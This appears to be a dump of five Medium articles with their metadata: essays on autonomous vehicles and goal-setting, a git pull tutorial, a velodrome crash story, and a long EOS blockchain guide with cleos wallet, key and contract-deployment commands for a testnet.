Driverless Vehicles, a Techno-Utopian Dream Sold As a Public Good Source: wikipedia.org As negative side effects of automation become more evident, the world is realising that for many kinds of work we don’t want to replace human beings, even if the work is a little dull, dirty or dangerous. In fact, that replacement can become counter-productive. (Gill Pratt, CEO of Toyota Research Institute) This post is not about the intricacies of the Autonomous Vehicle (AV) technology because I am a generalist with little technical knowledge. I only look at the philosophy of the AV technology, the folly of some of its underlying assumptions, and its impact on society and human autonomy. “We will see self-driving cars on the roads next year!” We have been hearing this statement for the last ten years. As Dr James Kuffner of the Toyota Research Institute said, “Let me be clear: nobody is even close.”. The self-driven vehicle is an omnibus term. There are six levels of vehicle autonomy. The U.S. Department of Transportation has adopted the six levels of driving automation as defined by The Society of Automotive Engineers (SAE). SAE defines 6 levels of driving automation ranging from 0 (fully manual) to 5 (fully autonomous). A fully autonomous vehicle comes under L-5, where no human attention or interaction is required. We will not see any L-5 vehicle on public roads in the foreseeable future except in dedicated corridors which will disqualify its fully autonomous status because such a protected environment is not all-weather terrain.

https://medium.com/illumination-curated/driverless-vehicles-selling-technological-utopianism-as-a-public-good-b5eaca76961e

['Mukundarajan V N']

2020-10-16 06:46:49.959000+00:00

['Technology', 'Automation', 'Autonomous Vehicles', 'Driverless Cars', 'Disruptive Technologies']

Reflecting on 2020 and Setting Goals for 2021 (Part 1)

Reflecting on 2020 and Setting Goals for 2021 (Part 1) Photo by Luke Richardson on Unsplash If 2020 taught us anything, it’s that we need to be more compassionate with ourselves. This year has been very different — to review it, we need a different mindset. If you want to create a spreadsheet to enter every single accomplishment from this year to help you “crush it” in 2021, this process isn’t for you. I don’t want you to feel you didn’t accomplish enough in 2020 as the backdrop to setting goals for next year. We don’t know how 2021 will unfold, and it will begin very much like 2020 ends: with plenty of uncertainty. If the next 3–6 months remain murky, why take on goals for a full year? I want to set you up for something attainable. Spoiler alert: at the end of this exercise, you will be choosing one (or two, if you really insist) goals to work on for the next 4–6 months. We are going to focus our energy, our integrity and our time on the Most. Important. Thing. Right. Now. I’m not letting you off the hook. Taking on one or two goals is harder than you think, because you can’t hide in having “too many things to work on.” We are also going to get disciplined about what achieving our goal really means in a future article. Ready? Great. Now let’s get started: Reflecting on 2020 2020 feels like a blur, and for good reason. Our perception of time and space was challenged and our memories may not hold up. Let’s go back through the year and reconnect with what happened. One month at a time: what did you do? What was going on? Where were you? The point is to remember, acknowledge and honor, not to judge. Yes, the judgements will come up (“wait? I started that in February and this is all I have to show for it in December?”). Notice them but don’t let yourself dwell on it. A few bullet points will suffice for each month; we’re not writing a memoir. You can set up a sheet like this: January: February: March: *and so on. Keep it simple. I guarantee you will be pleasantly surprised about what you remember. Once completed, you are finished with this first section. Does something feel missing for you? After I finished this part (of course I’m doing this with you!), I felt a multitude of emotions welling up inside. This prompted me to reflect further…..but it doesn’t have to for you. Some optional reflections if you are pulled to say more: * What changed for me during Covid/new things I discovered * What I miss from my old life * Things that were planned that couldn’t happen because of Covid * Things that were not planned that happened because of Covid * What do I need to grieve * Add your own question/reflection Take a moment to honor your experiences in the year that was. Your highs, lows, fears, losses; the things that happened to you, the things that happened around you, the things you could not control, the way you made life better for others and the joy you found in unexpected places. Join me in Part 2 to ask a few meaningful questions to get us closer to selecting our goals for 2021. In Part 3, the rubber hits the road and you lock in on the goal.

https://medium.com/@paulina-caprio/reflecting-on-2020-and-setting-goals-for-2021-part-1-582d54dbf063

['Paulina Fin Caprio']

2020-04-01 00:00:00

['Self Improvement', 'Compassion', 'Goals', 'Love', 'Self Reflection']

The Opensource Workflow…

Firstly, there are three lanes in this diagram, one for your local machine, one for your buddy’s machine and one that represents the Github repo. Github repo is the ultimate source of truth; which basically means, whatever your Github repo says is true for all clones of your code on any machine in the universe. If it says it has 10 commits and your machine says 15, then your machine is lying and it is your responsibility to keep the Github repo updated with the truth that you believe is correct. Let's hear a story and by the end of it, you will know what pull is for. So, let’s say you plan to create some new project to make a name for yourself, so your lane starts with the first circle, which represents a commit. “Initial commit”, and you push that code into ‘origin’, hence the arrow towards the Github lane. You made some changes to the code, added, committed and pushed again, hence the second arrow. Everything till now is in sync. Github repo is still representing the truth. Now, your mum asked you to visit your grandma, so you asked your friend to help you finish the code. So, you make him a collaborator and he clone( hence the arrow towards his machine from Github lane ) the project and now his machine will be in sync with the Github repo. If he runs a git log he will see all the commits you had done so far. Now he starts adding code into your project, while you are away. He made two commits locally and pushed them to Github repo, so far so good. The forth commit was indeed from your buddy and hence the Github repo is still representing the truth. Now you get back home and start working on your code again unaware of the changes you buddy has made. You made some changes, added and committed. According to your local repo, you have made the 3rd commit, but according to your Github repo, your buddy did the 3rd commit. As soon as you try to push your code, you will be denied by Github as your version of the story does not match with the truth. The error will look something like this… So like I said, you are responsible for making sure Github repo represents the truth, so you pull from the Github repo. The pull command is basically fetched + merge. It pulled whatever there is in the Github repo to your local machine and merges it with your commit. You can break it down like this: git pull This is equivalent to this ( long version for power users ) git fetch git merge Also note that by default git applies an option with the git pull command, ie: git pull --merge //merge option added by default This option even though applied by default should be kept in mind; you will see why, in the later section of the article. If there are obvious ways to merge the changes, git will do an auto-merge for you. But if the changes are clashing ( like the same file has two types of code in the same place ) then it will leave it up to you to fix these conflicts. So you can quickly do a git status and find out the files that need a conflict fix. Once done, you can now do another add and then a commit saying ‘merge conflict resolved’, and finally push this code to the Github repo. This version of code will again represent the truth as we wanted it to be.

https://medium.com/heuristics/the-opensource-workflow-d55026f768eb

['Aakash Mallik']

2020-07-05 12:15:43.639000+00:00

['Starter', 'Git', 'Github', 'Coding', 'Open Source']

Hitting the Glass Wall. Racing on the new Velodrome in Milton…

The race was the Men’s Scratch Qualifier. A scratch race has a set number of laps to complete and the first one across the finish line wins the race. It’s the simplest race on the track. The top 12 riders from this first heat would make it into the final. Combined with another group of 12 riders from another heat, 24 riders would join together to make the final. The race was about 30 laps and rather uneventful….until about four laps to go. I had been on the front for a lap, and pull off to roll back into the draft of the pack. Keep in mind, this velodrome in Milton was new, and some racers either were new or had not been racing for some time. Coming into the finishing straight, it happened. The rider above me never shoulder checked and was coming down on me. I had no where to go. I backed up slightly, slowing down a bit in the process…but it wasn’t enough. At about 40km/h, I was pushed into another rider’s back wheel. My front wheel connected hard…but with my hands on the bars in the drops, there wasn’t much give. My front wheel hit the other riders back wheel and “flicked” from a hard left and back to a hard right. It was a hard enough “flick” that it knocked the other rider, into which my front wheel connected, clear down the track into the cote. In a split second, I found myself heading directly towards the glass wall that surrounded the infield of the track because of the sudden “flick” of the bars. I thought that if I continued on this trajectory, my bike would come to a dead stop and send me flying over the glass wall, down about 3 meters and who knows how far into the infield. I decided at that moment, it would be safer to ditch the bike, and avoid the infield. I leaned the bike over figuring I would slide down the cote. The front wheel connected with the glass wall, and sent it flying upwards with the bike still attached to me by the pedals. You can see the mark the tire left on the glass in the above photo. After my knee hit the wall, I was sent down the cote and stopped in front of the finish line.

https://medium.com/@markbuckaway/hitting-a-glass-wall-e7ef7ff3a4d3

['Mark Buckaway']

2019-10-17 01:57:30.886000+00:00

['Cycling', 'Velodrome', 'Crash', 'Cyclingmemories', 'Bike Race']

The complete guide to EOS — smart contracts

A lot of buzz has surrounded the EOS blockchain, and it’s only natural that anyone would want to know about it. It’s also likely that you have already read other guides, but none of them made sense, and you were left worse off than when you started; with tons of questions and doubts. Well, worry no more as this guide has you covered. We will explain everything we can to make sure that at the end of it you have the tools you need actually to understand the EOS blockchain. This guide will provide a wealth of information not just for the advanced crypto lovers but for the beginners as well. The wealth of information we are talking about here includes details of how the project started and how the technology works. It’s likely that you will find some real-world examples to help us internalize the concepts and make you an expert in EOS and EOS blockchain. First and foremost, let’s get started with the correct pronunciation of EOS. EOS is pronounced “E-OS.” With that out of the way, let’s now get answers to the question, “What is EOS?” The Story Behind EOS The EOS blockchain was initiated with the intention of building a network that would have the capacity to process millions of transactions per second. EOS initial coin offering (ICO) was interesting for various reasons. To begin with, EOS ICO took place in June 2017, and it ran till June 2018, setting the record as the longest running ICO of all time. Raising over $4Billion Dollars!!! Why did the EOS team do this? They wanted to ensure that everyone got the opportunity to get involved and buy some EOS. The second thing is that this ICO managed to raise the equivalent of over $4 billion making it a very successful ICO. Upon completion of the ICO timeframe, the ICO released 700 million tokens or 70% of the entire supply. Several experienced and well-known people are part of the EOS team. These include Daniel Larimer, the co-founder of both Steem and BitShares. His cryptocurrency projects are known to be worth billions of dollars. Block One is the company behind EOS, and they are also involved in various business and blockchain projects. That’s the history of EOS Blockchain; let’s now move to the next phase of this EOS guide. The Complete EOS Guide As we embark on understanding what the project is all about, it’s important to note that at this moment in time EOS has not yet completed building their product and that everything is theoretical. However, we hope that EOS will keep its word and create exactly what they have said they will. EOS aspires to develop a decentralized blockchain which will process free and fast transactions. It will also grant permission for smart contracts to be put up on top of it which will facilitate the release of dApps by developers. EOS wants to take it further by building a platform that will work as an operating system. This will make the platform really easy to use. The future of the internet lies in dApps. So far, there are over a thousand of them already created on other blockchains. A decentralized type of Facebook is a good example of a dApp which can be used on the EOS blockchain. Here, there’s no one controlling the network, and no one can gain access to another person’s personal information. EOS wants to process millions of transactions per second which will solve a huge problem. Other blockchains can recognize smart contracts, but they cannot perform that quickly. To illustrate this, Ethereum, one of the more renowned smart contract blockchains can only handle 15 transactions per second. Why should we be concerned about it? On Facebook, there are 52,000 likes clicked every second and each of these likes is a separate and individual transaction which you and I don’t see or think about. Social media aside, you have the financial industry that’s required to process no less than 100,000 transactions per second. There’s a need here that requires to be met. By promising to handle millions of transactions per second, EOS is the perfect solution for these kinds of industries. EOS also seeks to provide a solution to the issue of usability. For instance, both BitShares and Steem can process roughly 100,000 transactions per second and also use smart technology. Nevertheless, developers find it quite difficult to insert basic functions like task scheduling and account recovery. Since EOS will use an operating system protocol, all these core functions will be built-in, and they will enable developers to work more efficiently. These are the things that the EOS team is striving hard to achieve. Next, we look at how the technology works. How EOS Works? Like several other smart contract blockchains, EOS is often times referred to as the “Ethereum Killer.” The name is derived from the position of EOS’ ability to do everything Ethereum does and do it much better. To understand how the technology works, we will be comparing them. We have established that both Ethereum and EOS have the capability of hosting dApps that are supported via smart contracts. The main difference is the number of transactions that each system can process at any one point in time. The name for this is “scalability,” and it is one the principal considerations when evaluating the capabilities of a blockchain. At the moment, Ethereum’s capacity stands at around 15 transactions per second, and this number is extremely low to facilitate global adoption. EOS is aiming at increasing the number of transactions to over a million once it’s fully built. How will EOS achieve this? Going back to Ethereum, we notice that its inability to process a larger number of transactions is due to the way its data is managed, i.e. one block can only store a limited amount of information. To illustrate this point, let’s consider an empty shipping container with the capacity to store only 1,000 boxes. The size of the shipping container cannot allow it to store more than 1,000 boxes. A thousand boxes are its maximum capacity. With Ethereum, each block (container) can only carry 15 transactions, and it takes a long time before reaching its destination. Proof-of-Work or PoW is the technology behind this data processing. Not only is it expensive but it’s also really slow and environmentally unfriendly. The Ethereum team is hard at work in an attempt to solve this issue. Some of the attempts include sharding and off-chain solutions, but none of these solutions have been implemented yet. Unlike Ethereum that relies on PoW, the EOS blockchain will make use of a new consensus model known as Delegated-Proof-of-Stake or DPoS. This model will sort out the current problems being experienced by Ethereum. It may prove a difficult task is explaining DPoS to a person who has no prior knowledge of blockchain technology. However, we will attempt to explain DPoS in the simplest way we can. Here’s how Delegated-Proof-of-Stake works: Imagine a situation where 200 individuals are required to aid in the verification of each and every blockchain transaction. These individuals are referred to as “witnesses.” Since blockchain is decentralized, investors are given the opportunity to vote for witnesses. The strength or the power of the vote is pegged on the number of EOS coins you have. The name for this is a “stake.” The more coins a person stakes, the more powerful their vote is. The sole task of the 200 witnesses is to ensure the safety of the network; something they get paid for. There are several backup witnesses available, and they wait their turn to help keep the blockchain safe and make money in the process. A witness who fails to do their work correctly or one who fails to secure the network as is required can end up being voted to be kicked out of the network. In this case, a backup witness will step up and take on the job. Essentially, this creates a far more efficient system. It allows the processing of cheap, fast and eco-friendly transactions. The best thing about this is that a transaction takes only 3 seconds to process. With Ethereum, the process is longer since it requires every individual computer (or node) connected to the network to be in agreement before any transaction is confirmed. No wonder it takes so long before a transaction can reach its destination. Another advantage of the EOS blockchain is the ability to freeze transactions — an extremely vital feature. Ever heard of the infamous DAO hack? Well, in 2016, someone stole Ethereum coins worth $50 million which led to the blockchain being forked. If the Ethereum blockchain were using DPoS technology (like EOS is), then the hack/ the or theft would have been prevented. Having looked at how this technology works, we will now move to the usage of the EOS crypto coins. What Are the EOS Coins Used For? EOS, just like most blockchains in the crypto space, has its own cryptocurrency. This currency serves different purposes as we will see below. Again, for the purposes of comparison, we will use Ethereum in our illustrations. When a person uses the Ethereum blockchain, they have to pay a transaction fee. This transaction fee is known as GAS and what happens is that the more people use the Ethereum network, the more expensive it becomes. On a global scale, the network becomes unusable since it’s not practical to spend so much money on GAS fees just send small amounts of coins. Remember the illustration we gave earlier on Facebook likes. Well, if say a Facebook dApp was operating on the Ethereum blockchain, clicking the “Like” button would cost you money every single time! Ethereum network was built in such a way that for you to use the network you will need to rent Ethereum’s Virtual Machine, and this requires a transaction fee. The EOS model works differently because instead of a person “renting” computing power, an EOS coin holder has ownership of the network. Let’s have an illustration to explain this further. If say, you hold 1% stake in EOS, then you own 1% of the network, and 1% of the needed computing power to process a transaction. EOS coins operate similarly to other cryptocurrencies in the crypto space. A person can send, receive or hold funds between wallets. It’s an excellent payment model because it allows you to transfer funds all over the world and in just a couple of seconds. Can EOS Be Abused? A key and unique feature of cryptocurrencies is their ability to transact anonymously which works in the same way as paying using tangible money in the real world. No one has to show their identification papers any time they get on the bus or pay for milk and bread — you simply pick the goods, pay at the counter and go on your way. This unique feature of cryptocurrencies also means it can be misused by people out there. They may take advantage of the anonymity to commit crimes such as buying and selling illegal weapons, drugs and stolen cards among others. There was a case when Bitcoin was used to pay for an assassination. Unfortunately, even EOS is not past this anonymous feature. Additionally, the database on most blockchains like Ethereum’s is public which means that anyone with an internet connection is able to view all the transactions taking place on a blockchain. By viewing all transactions, they can also see the account balances on all wallets. EOS founder Daniel Larimer states that the address of a sender or receiver will not be hidden but concealing the total balance on a user’s wallet is a feature on EOS blockchain. This feature, however, may appeal to the wrong crowd. Anyone wants to evade taxes can choose to hide their wealth there just as well as an anonymous shell company can. The flip side means that wealthy cryptocurrency holders will get the much-needed security. It’s important to keep in mind that all technologies can be abused. Overview of EOS Programs & Tools EOSIO comprises several different programs. However, its three core components are: Nodeos — This is the server-side node component of Blockchain. — This is the server-side node component of Blockchain. Cleos — This is the command line interface which interacts with the Blockchain technology and is used to manage wallets. — This is the command line interface which interacts with the Blockchain technology and is used to manage wallets. Keosd — This is the part responsible for the managing of EOSIO wallets. Let’s talk a little bit more about each one of them: Nodeos Nodeos is an essential component of the EOSIO daemon, which can be configured using plugins to run a node. It’s mainly responsible for administering your node and networking with the EOS Blockchain through the creation of blocks. Cleos This is the command line tool, which is interfaced with REST API as exposed by the nodeos. You must have an endpoint to node OS instance which consists of the port number and IP address to be able to use cleos. This is also required to configure cleos to be able to load “eosio::chain_api_plugin,” which contains documentation of all the commands. Keosd This is an EOSIO wallet daemon which loads plugins that are wallet-related including HTTP interface as well as RPC API. EOS Tools Let’s also discuss a bit more about some other tools of the EOSIO. Launcher This application streamlines the distribution of the various nodeos nodes in a LAN or in a much wider network. It can be configured through CLI to compose the per-node configuration files and securely distribute these files within the peer hosts and start the various instances of the nodeos. Eosiocpp The main use of Eosiocpp is in the development of smart contracts. It’s mainly used for generating ABI files and is also capable of developing helper functions that serialize and de-serialize the types that are defined within the ABI or the development of the contract. But these things are not the only ones that make EOS what it really is. Let’s discuss more its consensus mechanism that powers at 0.5 sec block time. Consensus Mechanism (DPoS) The EOS.IO protocol makes use of the only decentralized algorithm consensus that has been proven to be capable of accomplishing the requirements of the applications within the Blockchain and DPOS or Delegated Proof of Stake. Under such algorithm, those holding tokens within the Blockchain and adopting the EOS protocol can choose to block producers using a continuous voting approval system. Anyone can choose to participate in the block production and be given the opportunity to generate blocks, as long as they are able to persuade the token holders to be able to vote for them. The EOS allows for the blocks to be produced at every 0.5 seconds and one producer will be authorized to generate a block at a certain point in time. If the block isn’t produced within a specific time, the block for that particular time slot will be skipped. If one or more blocks are skipped, there will be a 0.5 and more second gap within the Blockchain. Using the EOS protocol, the blocks will be generated in 126 rounds, since there are 6 blocks each multiplied to 21 producers. At the beginning of every round, producers of 21 unique blocks will be chosen using voting, where token holders have to cast a vote. The chosen producers will be scheduled by an order that’s agreed upon by producers. If one producer misses a block and hasn’t been able to produce any block in the last 24 hours, they’ll be taken out of the consideration until such time that they will advise the Blockchain of their intention to start producing the blocks again. This is to ensure that the network will be able to operate smoothly as it minimizes the number of blocks that are missed when not being able to schedule unreliable producers. Under normal conditions, the DPOS Blockchain will not experience any forks, since, instead of competing, the Blockchain producers will cooperate with each other to produce blocks. If there’s a fork, the consensus will immediately change to the longest chain. This method is effective since the rate at which the blocks are added into the Blockchain fork is directly related to the percentage of the block producers that are sharing similar consensus. The Blockchain fork that has more producers in it will basically grow faster than other forks that have fewer producers since the fork that has more producers could miss fewer blocks. Also, no block producer must produce blocks on two forks all at the same time. Any block producers that will be doing this have to be voted out. Cryptographic evidence of double production can also be used to remove abusers immediately. Overview of Consensus Mechanism (DPoS) To better understand the diagram above, let’s break it down a bit: Wallets Wallets refer to clients that store keys similar to the one shown above. These keys could be associated with the permission of an account of one or more. For example, each of the 3 keys above is linked to an account. Key 1 is linked to the owner permission level while key 2 and key 3 are both linked to the active permission level. Preferably, a wallet should have an encrypted and decrypted state secured by a high-entropy password. The EOS repository usually comes with a command line interface client known as cleos that provides you with an interface which allows you to interact with the lite client known as the keosd. Accounts The account is basically a name readable by humans that’s stored within the Blockchain. Either an individual or group of individuals own it, depending on the permissions configuration. In the above scenario, an individual owns an account, which is the person that’s holding key 1. The account is needed to transfer or push a transaction within the Blockchain. Each and every account within the EOS can be referenced by a unique name that’s human-readable, which usually consists of up to 12 characters in any given length, as provided by the creator of the account. To understand the significance of the permission structure, we need to understand the actions and the handlers. Actions and Handlers Each account is capable of sending structured actions to some other accounts and could define scripts that could handle Actions once they are received. The EOS.IO provides each account with its own database that can only be accessed through its own handlers. The action handling scripts are also capable of sending actions into another account. The combination of automated action handlers and Actions is how the EOS would define smart contracts. Authorities and Permissions As shown above, there are various actions that can be performed. Furthermore, multiple keys are linked to each account to be used for different actions. This can be really messy to handle. Luckily, the permission structure is well capable of handling this mess. How do the Authorities and Permissions Work? Authorities will determine whether or not any of the given actions is authorized properly. Each account comes with two native named permissions: Owner authority signifies account ownership. There are few transactions that would require such authority. However, in most cases, this refers to any action that triggers any kind of change to the owner authority. Active authority is used when transferring funds and when voting for producers as well as when making some other high-level changes in the account. Aside from the native permissions, an account may also possess custom-named permissions available to extend the management of the account further. Custom permissions are highly flexible and are capable of addressing various possible cases once implemented. Most of these will mainly depend on how they are employed and the type of conventions adopted. It’s also possible to assign permission for any given authority to one or various public keys or a valid account name. Setting up Accounts on EOS Default Accounts This basically refers to the way in which the account is configured after it’s created. It consists of a single key for both the active and owner permissions, where both keys have a weight of 1 with both having a threshold of 1. @bob account Using the @bob account example, the table above shows that @bob’s owner key comes with a permission weight of 1, while the required threshold to push the transaction under such authority is 1. To move a transaction under an owner authority, the only @bob will need to sign the transaction using his owner key for the transaction to be validated. Such key will have to be stored in a wallet and processed using cleos. Multi-Sig Account and Custom Permissions The examples below are authorities for fictional account referred to as @multisig. In this example, two users are authorized to both the owner as well as the active permission of the fictional account, @multisigaccount, where three users are authorized to a customized published permission that has varying weight. In the example, it requires a weight threshold of 2 to be able to make modifications to the owner permission level, and this simply means that all parties will have a weight of 1 while all users are required to sign the transaction before it can be fully authorized. To send a transaction that requires active authority, the threshold will be set to 1. This further implies that only one signature is needed to authorize an action from the account’s active authority. There’s also third custom-named permission known as publishing. For the benefit of this example, the publish permission is used in publishing posts for the blog of @multisig using a theoretical dApp blog. There’s a threshold of 2 for the publish permission, and @stacy and @bob both have a weight of 2, while a public key has a weight of 1. This basically implies that both @stacy and @bob will be able to publish without the need for an added signature. However, the public key would require an additional signature for a particular action, under a public permission, before it can be authorized. The permission table above shows that @stacy and @bob, being the owners of the account, will have elevated privileges similar to an editor or moderator. Although this primitive example comes with limitations most especially regarding scalability and is not entirely a good design, it sufficiently demonstrates the flexible nature of the EOSIO permission system. Furthermore, in the table above, the permissions are set with the use of both a key and an account name. On your first glance, this might appear trivial, but it does suggest additional dimensions of flexibility. Here are some observations: @stacy and @bob can be identified explicitly as owners of the account. A public key won’t be able to trigger any action under a published authority without the additional signature of @stacy and @bob. @stacy and @bob can move an action through a published authority without the need for more signatures. Getting Started with EOS Mainnet and Implementing EOS Functions The launch of the EOS network is one of the highly anticipated events in the cryptocurrency developer community. Although it’s not guaranteed to be free from any issues, we’re excited to start building applications within the EOS. We will try to stay away from any controversies that surround its launch, as well as EOS overall model. Instead, we’ll try to give a short introduction allowing anyone to get his or her hands dirty as much as possible. On the following sections, we will describe: Connecting to Mainnet with minimum effort How the resource allocation works Useful links Wallets and accounts We may need to install local software that allows for the interaction with API. The most important tool needed for this is the cleos which are a command line interface that makes it possible for users to sign transactions and make calls for API. As of the moment, the easiest method to locally install cleos is through Docker. Here is how to go about this: # Download EOS docker image docker pull eosio/eos-dev # Run keosd tool in docker docker run — rm — name eosio -d -v ~/eosio-wallet:/root/eosio-wallet eosio/eos-dev /bin/bash -c ‘keosd’ # Create an alias for convenience alias cleos=’docker exec -i eosio /opt/eosio/bin/cleos — wallet-URL http://localhost:8888 -u https://api.eosnewyork.io:443' As soon as you run the commands above, you should be able to interact with Mainnet. To ensure that it’s working, let’s do a test: Cleos will obtain info, and after that, it should be able to produce output similar to what’s shown below. If it does, then you’re on the right track! Wallets Like any Blockchain, once you send transactions within the EOS network, you will authorize them by signing a private key. The keys are kept in a local wallet. At first, you will not have any wallets so let’s make one. Make sure you remember the displayed password because you will need it to unlock the wallet when you need access to the private keys. “cleos wallet create.” This command creates a wallet that will have a default name. Let us find out if it comes with any keys: “cleos wallet private_keys.” Be Careful: The default wallet comes with initial private/public key pair EOS6MRyAjQq8ud7hVNYcfnVPJqcVpscN5So8BhtHuGYqET5GDW5CV / 5KQwrPbwdL6PhXujxW37FSSQZ1JiwsST4cqQzDeyXtP79zkvFD3. Never use this one, it is hardcoded in the source code and is not secure. Instead, let’s generate a new key pair. # generate new key pair cleos create key # import the private key into the wallet cleos wallet import ${private key you just generated} The wallet is going to be auto-locked when there’s no activity in 15 minutes. To unlock it, run this command: cleos wallet unlock By now, you are all set with your wallet. So it’s time to get into accounts. Accounts Unlike Ethereum or Bitcoin where your public key serves as an account that you’ll send transactions from, there will be a separate concept of account within the EOS. It works just like the traditional web applications. You will create a named account, where, in EOS, it consists of 12 characters. Your private key will be similar to the password that’s used to control the account. Unfortunately, there’s a bummer — it’s not possible for you to create an account except if you already have an account that has EOS in it. This means that you can’t really interact with the network except if you ask another person that has an account to generate one for you. Worse, this doesn’t come for free. As a result, some people have created services that will allow for the creation of EOS accounts in exchange for a minimal payment. Resource Allocation Unlike other Blockchain technologies, like Bitcoin and Ethereum, there are no transaction fees with EOS. Instead, staking regulates spam prevention and distribution of resources. There are three different types of resources consumed by accounts, namely: Bandwidth and Log Storage — Staking Computation and Computational Backlog (CPU) — Staking State Storage (RAM) — Market purchase The first two of them are allocated in proportion to the number of tokens held within a 3-day staking contract. For instance, let’s assume that the network’s total CPU capacity is 1,000 units. If within the 3-day window, you want to use 10 CPU units, you will need 1% of all the CPU-stalked tokens written under your name. In other words, you will be competing with some other accounts for the available capacity within the CPU, and the more you stake, the more you will get. Eventually, the consumed CPU, as well as the bandwidth, will be freed up. Thus, you can use similar staked tones over and over again. For instance, if you don’t have any activity for three days, your resources will be freed up fully, and you’ll be able to use them again without having to stake additional tokens. However, RAM is a totally different story. You must purchase it at a market price depending on the supply and demand. RAM will be consumed by data that your accounts store within the Blockchain state. For instance, creating a new account will consume RAM since there’s now a record that describes this account. Unlike the bandwidth and CPU, RAM doesn’t automatically get freed up. To free it up, you must delete the data from the account. As soon as it’s freed, RAM can be sold at a market price. It’s worth it to note that for the bandwidth and the CPU, you can either stake your EOS or another person can stake it under your name. Delegation is not really considered a gift since it’s possible for them to un-delegate the staked EOS at a later time. The same thing is applicable for RAM, but in this case, somebody will need actually to transfer the RAM into your account as a gift and they cannot force you into returning it. How to Create Your Own EOS Token Contrary to Ethereum, the EOS comes with a token smart contract directly out of the box. While the Ethereum has the ERC20, what EOS has is the eosio. token smart contract. This allows you to be able to come up with your own token by providing you with a maximum supply of tokens. The EOS tokens within the EOS Blockchain are often issued using a similar contract. cleos — URL https://api.main.alohaeos.com:443 get currency stats eosio.token EOS { “EOS”: { “supply”: “1003605574.9616 EOS”, “max_supply”: “10000000000.0000 EOS”, “issuer”: “eosio” } } The URL parameter refers to the witch node in which you connect. Install Cleos Cleos refers to a command line tool that interfaces with REST API and is exposed by nodeos. Cleos is needed to run the commands needed to interact with EOS. You can use Docker when installing cleos and Cleos will soon appear in your terminal. cleos ERROR: RequiredError: Subcommand required Command Line Interface to EOSIO Client Usage: cleos [OPTIONS] SUBCOMMAND Options: -h, — help Print this help message and exit -u, — URL TEXT=http://localhost:8888/ the http/https URL where nodeos is running — wallet-url TEXT=http://localhost:8900/ the http/https URL where keosd is running -r, — header pass specific HTTP header; repeat this option to pass multiple headers -n, — no-verify don’t verify peer certificate when using HTTPS -v, — verbose output verbose actions on error — print-request print HTTP request to STDERR — print-response print HTTP response to STDERR Subcommands: version Retrieve version information create Create various items, on and off the blockchain get Retrieve various items and information from the blockchain set Set or update blockchain state transfer Transfer EOS from account to account net Interact with local p2p network connections wallet Interact with local wallet sign Sign a transaction push Push arbitrary transactions to the blockchain multisig Multisig contract commands system Send eosio.system contract action to the blockchain. Create Wallet Wallets refer to clients that store keys that may or may not be linked to the permissions of one account or more. Generally, the wallet is in an encrypted and decrypted state protected by a password of high entropy. The EOS.IO comes with a command line interface client known as cleos, which interacts with a lite client known as keosd. Together, they will demonstrate such a pattern. Let’s try to create one known as “treasure.” cleos wallet create — name treasure Creating wallet: treasure Make sure you save the password, which you need to use to unlock the wallet in the future. Without the password, it won’t be possible to retrieve imported keys. “PW5J2DTM7kpPaihUH35pLTJrvhjgZ11SY4FqxYbo6geWvEH4SNvMC” Remember to save the password somewhere else that you find safe. Once the password is lost, there won’t be any way to recover the keys kept inside the wallet. Next, we need to generate two pairs of the keys for the owner as well as the active permissions. After this, we must import them into our wallet. cleos create key #owner Private key: 5HsrZsLeUoDvBCFT2JSvgg3KrfwE7BXAJkUBSwnTwX27Cgabumj Public key: EOS8VMwRNWWHwov4vyzJiq9uTEyzcny8QKXv7CJxGQAwjSTncyv51 cleos create key #active Private key: 5JtrJNbJPfzm8XPMddANGYT9yzaqo8gwTEpmSrgQNhtoPXL9Ynd Public key: EOS8CCRKHAbhBim6LimdvhhzhEYiKNnLRhuMD1Zqx5Cut52moBRmH cleos wallet import 5HsrZsLeUoDvBCFT2JSvgg3KrfwE7BXAJkUBSwnTwX27Cgabumj — name treasure #owner the imported private key for EOS8VMwRNWWHwov4vyzJiq9uTEyzcny8QKXv7CJxGQAwjSTncyv51 cleos wallet import 5JtrJNbJPfzm8XPMddANGYT9yzaqo8gwTEpmSrgQNhtoPXL9Ynd — name treasure #owner imported private key for: EOS8CCRKHAbhBim6LimdvhhzhEYiKNnLRhuMD1Zqx5Cut52moBRmH Create Account To perform anything within the EOS Blockchain, you must have an account. The account is readable and is kept within the Blockchain. As mentioned, an individual or a group owns the account. The account is needed to transfer or move a transaction within the Blockchain. An account is basically some public or private keys that are tied to a unique name. These keys are stored in the wallet while the accounts are kept in the EOS Blockchain. It’s pretty easy to create an account locally. You just have to run the command “cleos create account” since you own a default eosio account, which isn’t the case with Mainnet. To be able to create an account with Mainnet, you need the help of someone who already has that account. Furthermore, you can only create accounts that are exactly 12 symbols that are usually 1 to 5 digits. In my opinion, this is incredibly restrictive. To acquire an account that has shorter names, you may need to bid in the auction and consider that you’ll be able to resell the EOS account. With that in mind, let’s use Testnet for the tutorial in a bid to save time and money. The EOS Jungle Testnet is as close to the Mainnet as possible. Simply go to the jungle.cryptolions.io and then click on the link “Create Account.” It will then prompt you to enter the account name and the two keys. Use the public keys you have previously generated. Now we need to purchase some RAM for our account to be able to publish our contract. In the EOS Blockchain, there will be a RAM marketplace where whales can be seen playing with bulls, which is another great speculative opportunity for those who have money. You can drop some EOS tokens to your account with the use of the EOS Jungle Testnet Faucet. After this, run the cleos system command, “buyram” to purchase RAM using the EOS tokens. Create Contract First, we need to upload our contract within the Blockchain. This is done through the cleos command, “set contract,” with the following positional parameters: * abi-file — the ABI of the contract. * account — account to publish a contract for. * contract-dir — contract directory. * wast-file — the file containing the contract WAST or WASM. As you see, we need to specify the abi and wast files. If you’ve built EOS from the source code, you should be able to find them at./build/contracts/eosio.token/ folder. For convenience, I have chosen to upload them both — wast/abi. Let’s set “contractcommand” with our files and account. Since our wast/abi files have a similar name as that of the directory name, we can leave these parameters. cleos — URL https://jungle.eosio.cr:443 set contract ylvdeveloper ./contracts/eosio.token Reading WAST/WASM from ./contracts/eosio.token/eosio.token.wasm… Using already assembled WASM… Publishing contract… executed transaction: 3fa704e4c1c72050e61882460bf0acd3b200df087d86a157d3d60ec1c439ba65 8104 bytes 3178 us # eosio <= eosio::setcode {“account”:”ylvdeveloper”,”vmtype”:0,”vmversion”:0,”code”:”0061736d01000000017e1560037f7e7f0060057f7… # eosio <= eosio::setabi {“account”:”ylvdeveloper”,”abi”:”0e656f73696f3a3a6162692f312e30010c6163636f756e745f6e616d65046e616d6… warning: transaction executed locally, but may not be confirmed by the network yet Let’s find out if the code was uploaded using the command “ylvdeveloper”. cleos — url https://jungle.eosio.cr:443 get code ylvdeveloper code 